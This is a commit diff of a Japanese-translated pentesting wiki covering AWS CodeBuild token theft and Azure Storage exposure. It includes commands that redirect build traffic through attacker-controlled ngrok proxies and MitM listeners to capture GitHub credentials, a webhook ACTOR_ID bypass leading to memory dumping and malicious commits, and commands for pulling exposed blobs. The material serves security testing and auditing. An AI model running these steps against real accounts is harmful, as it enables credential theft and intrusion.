Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-01-18 22:40:56 +00:00
parent 05ddd233fa
commit 5e907f5f46
2 changed files with 128 additions and 127 deletions

View File

@@ -2,43 +2,44 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Github/Bitbucket に設定された Tokens を回収する
## Recover Github/Bitbucket Configured Tokens
まず、leak できる source credentials が設定されていないか確認してください:
まず、leakできるようなソース認証情報が設定されていないか確認します:
```bash
aws codebuild list-source-credentials
```
### Docker Image を利用
### Docker Image 経由
例えばアカウントにGithubへの認証が設定されているのを見つけた場合、プロジェクトのビルドを実行するためにCodebuildに特定のDocker imageを使わせることで、その **exfiltrate** なお **access****GH token or OAuth token**)を取得できます。
もしアカウントに例えば Github への認証が設定されていることが判明した場合、Codebuild にプロジェクトのビルドを実行させる際に **use an specific docker image** を使わせることで、その **access****GH token or OAuth token**)を **exfiltrate** できます。
この目的のために、**新しい Codebuild プロジェクトを作成する**か、既存のものの **environment** を変更して **Docker image** を設定することができます。
この目的のために、**create a new Codebuild project** するか、既存のものの **environment** を変更して **Docker image** を設定できます。
使用できる Docker image [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm) です。これは非常に基本的な Docker image で、**環境変数 `https_proxy`**、**`http_proxy`**および **`SSL_CERT_FILE`** を設定します。これにより、**`https_proxy`** および **`http_proxy`** 指定されたホストのトラフィックの多くを傍受し、**`SSL_CERT_FILE`** 指定された SSL 証明書を信頼ることが可能になります。
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). これは非常に基本的な Docker image で、**env variables `https_proxy`**, **`http_proxy`** および **`SSL_CERT_FILE`** を設定します。これにより **`https_proxy`** および **`http_proxy`** 指定されたホストのほとんどのトラフィックをインターセプトし、**`SSL_CERT_FILE`** 指定された SSL 証明書を信頼させることができます。
1. **自分の Docker MitM image を作成してアップロードする**
- リポジトリの指示に従い、プロキシのIPアドレスとSSL証明書を設定し、**build the docker image**。
- **DO NOT SET `http_proxy`**メタデータエンドポイントへのリクエストを傍受しないため)
- ホストをプロキシ設定するために、例えば `ngrok``ngrok tcp 4444` のように使うことができます。
- Docker image をビルドしたら、**upload it to a public repo**Dockerhub, ECR...
2. **環境を設定する**
- **新しい Codebuild プロジェクトを作成する**か、既存のものの**環境**を変更します。
- プロジェクトが **前に生成した Docker image** を使用するように設定します。
1. **Create & Upload your own Docker MitM image**
- リポジトリの指示に従い proxy IP アドレスと SSL 証明書を設定し、**build the docker image** します
- **DO NOT SET `http_proxy`**メタデータエンドポイントへのリクエストをインターセプトしないようにするためです
- ホストをプロキシとして設定するために、**`ngrok`**`ngrok tcp 4444` のように使うことができます。
- Docker image をビルドしたら、**upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- **Create a new Codebuild project** を作成するか、既存のプロジェクトの環境を **modify** します。
- プロジェクトが **previously generated Docker image** を使用するように設定します。
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **ホストに MitM proxy を設定する**
3. **Set the MitM proxy in your host**
- **Github repo** にるように、例えば次のように使用できます:
- **Github repo** に記載されているように、次のようなものを使うことができます:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> **mitmproxy version used was 9.0.1**, version 10 では動作しない可能性が報告されています。
> 使用した **mitmproxy** のバージョンは 9.0.1 で、バージョン10では動作しない可能性が報告されています。
4. **ビルドを実行して credentials を取得する**
4. **ビルドを実行して資格情報を取得する**
- **Authorization** ヘッダーで token を確認できます:
- トークンは **Authorization** ヘッダーで確認できます:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
@@ -71,17 +72,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
### insecureSSL 経由して
### insecureSSL 経由
**Codebuild** プロジェクトには **`insecureSsl`** という設定があり、Web 上には表示されず、API からのみ変更できま。\
これを有効にすると、Codebuild はリポジトリに**プラットフォームが提示する証明書を検証せずに**接続できます。
**Codebuild** プロジェクトには **`insecureSsl`** という設定があり、ウェブ上では隠されていて API からしか変更できません。\
これを有効にすると、Codebuild はプラットフォームが提示する証明書を**検証せずに**リポジトリに接続できるようになります。
- まず、例えば次のようなコマンドで現在の設定を列挙する必要があります:
- まず、次のようなコマンドで現在の設定を列挙する必要があります:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- その後、収集した情報を用いてプロジェクト設定 **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、末尾 **`insecureSsl=True`** に注してください(収集した設定から変更するのはこれだけです)。
- さらに、環境変数 **http_proxy****https_proxy** を tcp ngrok を指すように追加します。例:
- その後、収集した情報を用いてプロジェクト設定 **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、末尾 **`insecureSsl=True`** があることに注してください(これは収集した設定から変更する唯一の項目です)。
- さらに、環境変数 **http_proxy****https_proxy** を tcp ngrok を指すように追加してください:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +116,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- 次に、proxy 変数http_proxy と https_proxyが示すポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本的な例を実行します。
- 次に、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本的な例を、プロキシ変数 (http_proxy と https_proxy) が指すポートで実行します。
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +129,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 最後に **Build the project** をクリックすると、**credentials** が **平文base64** mitm ポートに送信されます:
- 最後に**Build the project** をクリックすると、**credentials** が **平文base64で mitm ポートに送信されます**:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Via HTTP protocol~~
### ~~HTTP プロトコル経由~~
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
> [!TIP] > **この脆弱性は 2023年2月20日の週のいずれかの時点で AWS により修正されました(多分金曜日だと思います)。そのため、攻撃者はもはやこれを悪用できません :)**
CodeBuild 上で権限が昇格した攻撃者は、設定され Github/Bitbucket token を leak したり、権限が OAuth 経由で構成されている場合は、コードにアクセスするための temporary OAuth token を取得したりする可能性があります。
CodeBuild 上で権限が昇格した攻撃者は、設定されている Github/Bitbucket トークンを leak できるか、権限が OAuth 経由で構成されている場合は、コードにアクセスするために使用される一時的な OAuth トークンを leak する可能性があります。
- 攻撃者は環境変数 **http_proxy****https_proxy** を CodeBuild プロジェクトに追加し、自分のマシンを指すように設定できます(例: `http://5.tcp.eu.ngrok.io:14972`)。
- 攻撃者は環境変数 **http_proxy****https_proxy** を CodeBuild プロジェクトに追加し、自分のマシンを指すように設定できます(例えば `http://5.tcp.eu.ngrok.io:14972`)。
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- 次に、github repo の URL を HTTPS ではなく HTTP を使うよう変更します。例: `http://github.com/carlospolop-forks/TestActions`
-して、proxy 変数http_proxy と https_proxyが指すポートで [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の basic example を実行します。
- 次に、github リポジトリの URL を HTTPS の代わりに HTTP を使うよう変更します。例えば: `http://github.com/carlospolop-forks/TestActions`
-の後、proxy 変数http_proxy と https_proxyが指すポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本例を実行します。
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,30 +159,30 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 次に、**プロジェクトをビルド**をクリックするか、コマンドラインからビルドを開始します:
- 次に、**Build the project** をクリックするか、コマンドラインからビルドを開始します:
```sh
aws codebuild start-build --project-name <proj-name>
```
- 最終的に、**認証情報**は**平文** (base64) mitm port に送信されます:
- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> これにより攻撃者は自のマシンからtokenを使用し、その持つすべての権限を列挙し、CodeBuildサービスを直接利用するよりも容易に悪用できるようになります。
> これにより攻撃者は自のマシンからtokenを使用し、その権限を列挙し、CodeBuildサービスを直接使うよりも容易に悪用できるようになります。
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
設定ミスのある CodeBuild GitHub webhooks がアンカーのない `ACTOR_ID` 正規表現を使用していると、*untrusted* PR が特権ビルドを開始できてしまいます。allowlist `123456|7890123` のように `^`/`$` を含まない場合、そのサブストリングを含む任意の ID が一致します。GitHub のユーザー ID は連番であるため、攻撃者は“eclipsing” ID信頼された ID を含むより長い IDを競って登録し、ビルドをトリガーできます。
Misconfigured CodeBuild GitHub webhooks that use unanchored `ACTOR_ID` regexes let *untrusted* PRs start privileged builds. If the allowlist is like `123456|7890123` without `^`/`$`, any ID containing one of those substrings matches. Because GitHub user IDs are sequential, an attacker can race to register an “eclipsing” ID (a superstring of a trusted ID) and trigger the build.
## エクスプロイトの流れ
**エクスプロイトの手順**
1. webhook フィルタを公開している公開の CodeBuild プロジェクトを見つけ、アンカーない `ACTOR_ID` allowlist を抽出する。
2. eclipsing GitHub ID を取得する:
- GitHub org を作成/削除してグローバル ID カウンタをサンプリングするorg ID同じプールを共有する)。
- 多数の GitHub App manifest 作成を事前登録し、カウンタがターゲットの約 ~100 ID に近づいたときに確認用 URLs を一斉に実行して、信頼されたサブストリングを含む bot ID をバースト登録する。
3. eclipsing アカウントから PR を開くと、regex がサブストリングにマッチして特権ビルドが実行される。
4. build RCE(例: dependency install hooksを利用して、GitHub 資格情報を扱うプロセスのメモリをダンプし、PAT/OAuth token を回収する。
5. `repo` スコープを持つ token を使用して自分のアカウントを collaborator/admin として招待し、悪意あるコミットをプッシュ/承認したり秘密を持ち出したりする。
1. 公開されている CodeBuild プロジェクトで webhook filters を公開しているものを見つけ、アンカーが付いていない `ACTOR_ID` allowlist を抽出する。
2. Obtain an eclipsing GitHub ID:
- GitHub org を作成/削除してグローバルIDカウンタをサンプリングするorg IDs は同じプールを共有する)。
- 多数の GitHub App manifest 作成を事前準備し、カウンタがターゲットに対して概ね~100 IDs 内になったときに確認用URLを一斉に実行して、信頼されたサブストリングを含むボットIDを短時間で登録する。
3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
5. With the tokens `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)

View File

@@ -4,72 +4,72 @@
## 基本情報
Azure Storage Accounts は Microsoft Azure の基本的なサービスで、スケーラブルで安全かつ高可用なクラウド **さまざまなデータ型向けのストレージ** を提供します。これには blobs (binary large objects)、ファイル、キュー、テーブルが含まれます。これらの異なるストレージサービスを単一の名前空間でまとめて管理できるコンテナとして機能します。
Azure Storage Accounts は、スケーラブルで安全かつ高可用なクラウド **storage for various data types** を提供する Microsoft Azure の基本サービスで、blobs (binary large objects)、files、queues、tables を含みます。これらは単一の namespace 配下でこれらの異なる storage services をまとめるコンテナとして機能し、管理を容易にします。
**主な設定オプション**:
- 各 storage account **Azure 全体で一意の名前** を持つ必要があります。
- 各 storage account **リージョン** または Azure extended zone にデプロイされます
- よりいパフォーマンスのために storage account **premium** バージョンを選択できま
- ラック、ドライブ、データセンターの **障害** から保護するため **4種類の冗長化オプション** を選択できます。
- すべてのストレージアカウント**Azure 全体で一意の名前** を持つ必要があります。
- すべてのストレージアカウント**リージョン** または Azure extended zone にデプロイされます
- よりいパフォーマンスのためにストレージアカウント**premium** バージョンを選択可能です
- ラック、ディスク、データセンターの**障害**から保護するため **4 種類の冗長化** から選択可能です。
**セキュリティ設定オプション**:
- **REST API 操作に対して安全な転送を要求する**: ストレージとの通信では常に TLS を要求します
- **個別コンテナーでの匿名アクセスを有効化可能にする**: 効にしないと、将来的に匿名アクセスを有効できなくなります
- **storage account key アクセスを有効化**: 効化しない場合、Shared Keys によるアクセス禁止されます
- **最小 TLS バージョン**
- **コピー操作の許可スコープ**: 任意の storage account、同一 Entra tenant の storage account、または同一仮想ネットワーク内の private endpoints を持つ storage account からのコピーを許可できます。
- **Require secure transfer for REST API operations**: ストレージとの通信に TLS を必須にします
- **Allows enabling anonymous access on individual containers**: 効にすると、将来的にコンテナ単位での匿名アクセスを有効できなくなります
- **Enable storage account key access**: 効化すると Shared Keys によるアクセス禁止されます
- **Minimum TLS version**
- **Permitted scope for copy operations**: 任意のストレージアカウントから、同一 Entra テナント内の任意のストレージアカウントから、あるいは同一仮想ネットワーク内の private endpoints を持つストレージアカウントから許可する、などの選択が可能です。
**Blob Storage options**:
**Blob Storage オプション**:
- **クロステナント複製を許可**
- **アクセス層**: Hot (頻繁にアクセスされるデータ)、Cool および Cold (稀にアクセスされるデータ)
- **Allow cross-tenant replication**
- **Access tier**: Hot頻繁にアクセスされるデータ、CoolCold稀にアクセスされるデータ
**ネットワーキングオプション**:
**ネットワーク設定オプション**:
- **Network access**:
- すべてのネットワークから許可
- 選択した仮想ネットワークと IP アドレスから許可
- 公開アクセスを無効にしてプライベートアクセスを使用
- **Private endpoints**: 仮想ネットワークから storage account へのプライベート接続を可能にします
- ネットワークから許可
- 選択した virtual networks と IP アドレスから許可
- パブリックアクセスを無効にしてプライベートアクセスを使用
- **Private endpoints**: 仮想ネットワークからストレージアカウントへのプライベート接続を可します
**データ保護オプション**:
- **Point-in-time restore for containers**: コンテナを以前の状態に復元できます
- これは versioning、change feed、および blob soft delete 有効にする必要があります。
- **Enable soft delete for blobs**: 削除された blob上書きされたもの含む)に対する日数単位の保持期間を有効にします
- **Enable soft delete for containers**: 削除されたコンテナに対する日数単位の保持期間を有効にします
- **Enable soft delete for file shares**: 削除されたファイル共有に対する日数単位の保持期間を有効にします
- **Point-in-time restore for containers**: コンテナを以前の状態に復元可能にします
- これは versioning、change feed、blob soft delete 有効化を必要とします。
- **Enable soft delete for blobs**: 削除された blob上書きされたもの含む)に対して日単位の保持期間を設定します
- **Enable soft delete for containers**: 削除されたコンテナに対して日単位の保持期間を設定します
- **Enable soft delete for file shares**: 削除された file shares に対して日単位の保持期間を設定します
- **Enable versioning for blobs**: blob の以前のバージョンを保持します
- **Enable blob change feed**: blob の作成、変更、削除の変更ログを保持します
- **Enable version-level immutability support**: アカウントレベルでの時間ベースの保持ポリシーを設定でき、すべての blob バージョンに適用されます。
- version-level immutability support と point-in-time restore for containers は同時に有効にできません。
- **Enable version-level immutability support**: アカウント レベルでの時間ベースの保持ポリシーを設定、すべての blob バージョンに適用することを可能にします。
- Version-level immutability support と point-in-time restore for containers は同時に有効にできません。
**暗号化設定オプション**:
- **Encryption type**: Microsoft-managed keys (MMK) または Customer-managed keys (CMK) を使用できま
- **Encryption type**: Microsoft-managed keys (MMK) または Customer-managed keys (CMK) を使用可能です
- **Enable infrastructure encryption**: データを「より安全に」二重に暗号化することを可能にします
### ストレージエンドポイント
### Storage endpoints
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### 公開露出
### Public Exposure
If "Allow Blob public access" is **enabled** (disabled by default), when creating a container it's possible to:
"Allow Blob public access" **有効**(デフォルトは無効)の場合、コンテナ作成時に以下が可能です:
- **public access to read blobs** を付与できる(名前を知っている必要があります)。
- **List container blobs** および **read** することができる。
- 完全に **private** にすることができる。
- **public access to read blobs**(名前を知っていれば読み取り可能)を許可
- **List container blobs** および **read** する
- 完全に **private** にする
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
### Static website (`$web`) exposure & leaked secrets
- **Static websites** は特`$web` コンテナから、地域固有のエンドポイント(例: `https://<account>.z13.web.core.windows.net/`)経由で配信されます。
- `$web` コンテナは blob API 経由で `publicAccess: null` と報告する場合がありますが、ファイルは静的サイトのエンドポイントから依然として到達可能です。したがって、そこに config/IaC アーティファクトを置くと secrets leak する可能性があります。
- Quick audit workflow:
- **Static websites** は特`$web` コンテナからリージョン固有のエンドポイント(例: `https://<account>.z13.web.core.windows.net/`)経由で配信されます。
- `$web` コンテナは blob API 経由で `publicAccess: null` を返す場合がありますが、static site エンドポイント経由でファイルに到達できるため、そこに config/IaC アーティファクトを置くと secrets leak する可能性があります。
- クイック監査ワークフロー:
```bash
# Identify storage accounts with static website hosting enabled
az storage blob service-properties show --account-name <acc-name> --auth-mode login
@@ -80,53 +80,53 @@ az storage blob list --container-name '$web' --account-name <acc-name> --auth-mo
# Pull suspicious files directly (e.g., IaC tfvars containing secrets/SAS)
az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdout --account-name <acc-name> --auth-mode login
```
### 匿名 blob の露出を監査する
### 匿名 blob の公開を監査
- **公開可能なストレージアカウントを特定する**: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. `allowBlobPublicAccess``false` の場合、コンテナを公開にできません。
- **リスクのあるアカウントを調査して** フラグや他の弱い設定を確認する: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
- **フラグが有効な場合のコンテナ単位の露出を列挙する**:
- **データを公開する可能性のある storage accounts を特定する**: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'``allowBlobPublicAccess``false` の場合、コンテナを公開に設定できません。
- **リスクのあるアカウントを確認してフラグや他の脆弱な設定を検証する**: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`
- **フラグが有効なアカウントでのコンテナ単位の公開状況を列挙する**:
```bash
az storage container list --account-name <acc> \
--query '[].{name:name, access:properties.publicAccess}'
```
- `"Blob"`: 匿名での読み取り許可されるが、**blob名がわかっている場合のみ**(一覧表示不可)。
- `"Container"`: 匿名でのすべてのblobの**一覧表示 + 読み取り**が可能
- `null`: プライベート;認証が必要。
- **認証情報なしでアクセスを証明する**:
- If `publicAccess` is `Container`, anonymous listing works: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
- For both `Blob` and `Container`, anonymous blob download works when the name is known:
- `"Blob"`: 匿名読み取り許可される **ただし blob の名前が分かっている場合のみ**(一覧表示不可)。
- `"Container"`: 匿名で **一覧取得 + 読み取り** が可能(全ての blob
- `null`: 非公開; 認証が必要。
- **資格情報なしでアクセスを証明する**:
- もし `publicAccess` `Container` の場合、匿名での一覧取得が可能です: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
- `Blob` `Container` の両方について、名前が判明している場合は匿名での blob ダウンロードが可能です:
```bash
az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
# or via raw HTTP
curl "https://<acc>.blob.core.windows.net/<container>/<blob>"
```
### ストレージに接続
### Storage に接続する
接続可能な**ストレージ**を見つけた場合、[**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) を使って接続できます。
接続できる **storage** を見つけた場合、ツール [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) を使できます。
## ストレージへのアクセス <a href="#about-blob-storage" id="about-blob-storage"></a>
## Storage へのアクセス <a href="#about-blob-storage" id="about-blob-storage"></a>
### RBAC
Entra ID プリンシパルを **RBAC roles** と組み合わせてストレージアカウントにアクセスすることが可能で、推奨される方法です。
Entra ID プリンシパルを **RBAC roles** と組み合わせて storage accounts にアクセスすることが可能で、これは推奨される方法です。
### Access Keys
ストレージアカウントにはアクセスに使用できるアクセスキーがあり、これによりストレージアカウントへの**完全なアクセス**が可能になります。
storage accounts にはアクセスに使用できる access keys があり、これは **完全なアクセス権** を storage account に与えます。
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
### **Shared Keys & Lite Shared Keys**
アクセスキーで署名した[**Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key)を生成して、署名付きURL経由で特定リソースへのアクセスを可することができます。
access keys で署名された [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) を生成して、signed URL 経由で特定リソースへのアクセスを可することが可能です。
> [!NOTE]
> `CanonicalizedResource` 部分はストレージサービスのリソース (URI) を表します。URL の任意の部分がエンコードされている場合、`CanonicalizedResource` 内でも同様にエンコードる必要があります。
> `CanonicalizedResource` 部分は storage services のリソース (URI) を表します。URL の任意の部分がエンコードされている場合、`CanonicalizedResource` 内でもエンコードされている必要があります。
> [!NOTE]
> これはデフォルトで `az` cli がリクエストの認証に使用する方法です。Entra ID プリンシパル認証情報を使用させたい場合はパラメータ `--auth-mode login` を指定してください。
> これは **デフォルトで `az` cli によって使用されます**(リクエストの認証のため)。Entra ID プリンシパルの資格情報を使わせるにはパラメータ `--auth-mode login` を指定してください。
- 次の情報に署名することで **shared key for blob, queue and file services** を生成できます:
- 次の情報に署名して、**shared key for blob, queue and file services** を生成できます:
```bash
StringToSign = VERB + "\n" +
Content-Encoding + "\n" +
@@ -143,7 +143,7 @@ Range + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- 次の情報に署名することで、**shared key for table services** を生成できます:
- 次の情報に署名することで、**テーブルサービス用の共有キー**を生成できます:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -151,7 +151,7 @@ Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
```
- 次の情報に署名して、**lite shared key for blob, queue and file services** を生成できます:
- 次の情報に署名することで、**lite shared key for blob, queue and file services** を生成できます:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -160,12 +160,12 @@ Date + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- 次の情報に署名することで、**lite shared key for table services** を生成することができます:
- 次の情報に署名することで、**lite shared key for table services** を生成できます:
```bash
StringToSign = Date + "\n"
CanonicalizedResource
```
そのキーを使用するには、Authorization ヘッダーで次の構文に従って指定します:
次に、キーを使用するには、次の構文に従って Authorization header に指定します:
```bash
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
#e.g.
@@ -179,14 +179,14 @@ Content-Length: 0
```
### **Shared Access Signature** (SAS)
Shared Access Signatures (SAS) は、アカウントのアクセスキーを公開することなく、Azure Storage アカウント内のリソースへの特定のアクセス権限を付与する安全で時間制限付きの URL です。アクセスキーがすべてのリソースに対する管理アクセスを提供する一方で、SAS は読み取りや書き込みなどの権限を指定し、有効期限を設定することで細か制御を可能にします。
Shared Access Signatures (SAS) は、ストレージアカウントのアクセスキーを公開することなく、特定のリソースに対するアクセス権限を限定的かつ時間制限付きで付与する安全URLです。アクセスキーがすべてのリソースに対するフル管理アクセスを提供する一方で、SAS は読み取りや書き込みなどの権限を指定し、有効期限を設定することできめ細か制御を可能にします。
#### SAS Types
- **User delegation SAS**: これは **Entra ID principal** から作成され、principal が SAS に署名しユーザーから SAS へ権限を委譲します。**blob and data lake storage** でのみ使用できます[docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。生成された user delegated SAS をすべて **revoke** することが可能です。
- ユーザーより「多い」権限を持つ delegation SAS を生成することは可能ですが、principal 自身にその権限がなければ動作しません(権限昇格は発生しない)。
- **Service SAS**: これはストレージアカウントの **access keys** のいずれかで署名されます。単一のストレージサービス内の特定のリソースへのアクセスを付与するために使用できます。キーが更新されると、SAS は動作しなくなります。
- **Account SAS**: これもストレージアカウントの **access keys** のいずれかで署名されます。Blob, Queue, Table, File といったストレージアカウントサービス全体リソースへのアクセスを付与、サービスレベルの操作を含めることができます。
- **User delegation SAS**: これは **Entra ID principal** から作成され、SAS に署名しユーザーからSASへ権限を委譲します。**blob and data lake storage** でのみ使用できます ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). 生成された user delegated SAS をすべて **revoke** することが可能です。
- ユーザーが持つ権限より「多い」権限を持つ delegation SAS を生成できる場合があっても、principal 自身にその権限がなければ動作しません(no privesc)。
- **Service SAS**: これはストレージアカウントのいずれかの **access keys** を使って署名されます。単一のストレージサービス内の特定のリソースへのアクセスを付与するために使用できます。キーが更新されると、SAS は無効になります。
- **Account SAS**: これもストレージアカウントの **access keys** で署名されます。Blob, Queue, Table, File といったストレージアカウントサービス全体に対するリソースアクセスを付与でき、サービスレベルの操作を含めることができます。
A SAS URL signed by an **access key** looks like this:
@@ -204,43 +204,43 @@ Note some **http params**:
#### SAS permissions
SAS を生成する際には付与する権限を指定する必要があります。SAS を生成する対象オブジェクトによって含めることができる権限は異なります。例えば:
SAS を生成する際には付与する権限を指定する必要があります。SAS を生成するオブジェクトによって含められる権限は異なります。例えば
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
## SFTP Support for Azure Blob Storage
Azure Blob Storage は現在SSH File Transfer Protocol (SFTP) をサポートしており、カスタムソリューションやサードパーティ製品を必要とせずにBlob Storage への安全なファイル転送と管理を直接行うことができます。
Azure Blob Storage は現在 SSH File Transfer Protocol (SFTP) をサポートしており、カスタムソリューションやサードパーティ製品を必要とせずに Blob Storage へ直接セキュアなファイル転送と管理が可能です。
### Key Features
- Protocol Support: SFTP はhierarchical namespace (HNS) を有効した Blob Storage アカウントで動作します。これによりblobs をディレクトリやサブディレクトリ整理しナビゲーション容易にできます。
- Security: SFTP は認証にローカルユーザーのアイデンティティを使用し、RBAC や ABAC と統合されません。各ローカルユーザーはの方法で認証できます:
- Protocol Support: SFTP は hierarchical namespace (HNS) を有効した Blob Storage アカウントで動作します。これにより blobs をディレクトリやサブディレクトリ整理しナビゲーション容易になります。
- Security: SFTP は認証に local user identities を使用し、RBAC や ABAC と統合ません。各ローカルユーザーは以下の方法で認証できます:
- Azure-generated passwords
- Public-private SSH key pairs
- Granular Permissions: ReadWriteDeleteList といった権限を最大 100 個のコンテナについてローカルユーザーに割り当てられます。
- Networking Considerations: SFTP 接続はポート 22 を使用します。Azure はファイアウォール、プライベートエンドポイント、または仮想ネットワークなどのネットワーク構成をサポートし、SFTP トラフィックを保護できます。
- Granular Permissions: Read, Write, Delete, List といった権限をローカルユーザーに対して最大 100 コンテナまで割り当てることができます。
- Networking Considerations: SFTP 接続はポート 22 を通じて行われます。Azure はファイアウォール、private endpoints、virtual networks などのネットワーク構成SFTP トラフィックを保護することをサポートします。
### Setup Requirements
- Hierarchical Namespace: ストレージアカウント作成時に HNS を有効にする必要があります。
- Supported Encryption: Microsoft Security Development Lifecycle (SDL) 承認の暗号アルゴリズム(例: rsa-sha2-256ecdsa-sha2-nistp256が必要です
- Hierarchical Namespace: HNS はストレージアカウント作成時に有効にする必要があります。
- Supported Encryption: Microsoft Security Development Lifecycle (SDL) 承認済みの暗号アルゴリズムが必要です(例: rsa-sha2-256, ecdsa-sha2-nistp256
- SFTP Configuration:
- ストレージアカウントで SFTP を有効化する。
- 適切な権限を持つローカルユーザーのアイデンティティを作成する。
- ユーザーごとの home directory を設定し、コンテナ内での開始位置を定義する。
- Enable SFTP on the storage account.
- Create local user identities with appropriate permissions.
- Configure home directories for users to define their starting location within the container.
### Permissions
| 権限 | シンボル | 説明 |
| Permission | Symbol | Description |
| ---------------------- | ------ | ------------------------------------ |
| **Read** | `r` | ファイル内容読み取ります。 |
| **Write** | `w` | ファイルアップロードし、ディレクトリ作成します。 |
| **List** | `l` | ディレクトリの内容を一覧表示します。 |
| **Delete** | `d` | ファイルまたはディレクトリ削除します。 |
| **Create** | `c` | ファイルまたはディレクトリ作成します。 |
| **Modify Ownership** | `o` | 所有ユーザーまたはグループ変更します。 |
| **Modify Permissions** | `p` | ファイルやディレクトリの ACL を変更します。 |
| **Read** | `r` | ファイル内容読み取り |
| **Write** | `w` | ファイルアップロードおよびディレクトリ作成。 |
| **List** | `l` | ディレクトリの内容を一覧表示 |
| **Delete** | `d` | ファイルディレクトリ削除 |
| **Create** | `c` | ファイルディレクトリ作成 |
| **Modify Ownership** | `o` | 所有ユーザーまたはグループ変更 |
| **Modify Permissions** | `p` | ファイルやディレクトリの ACL を変更 |
## Enumeration